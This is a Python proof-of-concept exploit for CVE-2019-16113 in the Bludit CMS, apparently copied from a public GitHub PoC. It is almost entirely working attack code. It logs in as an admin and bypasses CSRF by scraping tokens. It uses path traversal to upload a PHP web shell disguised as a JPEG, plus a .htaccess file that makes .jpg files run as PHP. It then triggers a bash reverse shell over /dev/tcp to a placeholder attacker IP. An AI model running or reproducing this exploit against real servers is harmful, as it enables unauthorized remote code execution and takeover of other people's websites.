#!/usr/bin/env python
#encoding:utf-8
import requests
import re

# PoC by @hg8
# FROM:https://github.com/hg8/CVE-2019-16113-PoC
# Credit: @christasa
# https://github.com/bludit/bludit/issues/1081

url = "http://xx.xx.xx.xx:xxxx"
user = "admin"
password = "bupt123"
cmd = "bash -c 'bash -i >& /dev/tcp/your ip/8080 0>&1'"

def admin_login():
    s = requests.Session()
    login_page = s.get("{}/admin/".format(url))
    # print(re.search('"tokenCSRF".+?value="(.+?)"', login_page.text))
    csrf_token = re.search('"tokenCSRF".+?value="(.+?)"', login_page.text).group(1)

    data = {
        "username": user,
        "password": password,
        "tokenCSRF": csrf_token
    }

    r = s.post("{}/admin/".format(url), data, allow_redirects=False)

    if r.status_code != 301:
        print("[!] Username or password incorrect.")
        exit()

    print("[+] Loggin successful.")
    return s


def get_csrf(s):
    r = s.get("{}/admin/".format(url))
    csrf_token = r.text.split('var tokenCSRF = "')[1].split('"')[0]
    print("[+] Token CSRF: {}".format(csrf_token))
    return csrf_token


def upload_shell(s, csrf_token):
    data = {
        "uuid": "../../tmp",
        "tokenCSRF": csrf_token
    }
    multipart = [('images[]', ("blut.jpg", "<?php shell_exec(\"cat .htaccess;cat blut.jpg;" + cmd + "\");?>", 'image/gif'))]

    r = s.post("{}/admin/ajax/upload-images".format(url), data, files=multipart)

    if r.status_code != 200:
        print("[!] Error uploading Shell.")
        print("[!] Make sure Bludit version >= 3.9.2.")

    print("[+] Shell upload succesful.")

    multipart_htaccess = [('images[]', ('.htaccess', "RewriteEngine off\r\nAddType application/x-httpd-php .jpg", 'image/jpeg'))]
    r = s.post(url + "/admin/ajax/upload-images", data, files=multipart_htaccess)

    if r.status_code != 200:
        print("[!] Error uploading .htaccess.")
        print("[!] Make sure Bludit version >= 3.9.2.")

    print("[+] .htaccess upload succesful.")


def execute_cmd(s):
    try:
        r = s.get("{}/bl-content/tmp/blut.jpg".format(url), timeout=1)
    except requests.exceptions.ReadTimeout:
        pass
    print("[+] Command Execution Successful.")


if __name__ == '__main__':
    session = admin_login()
    csrf_token = get_csrf(session)
    upload_shell(session, csrf_token)
    execute_cmd(session)
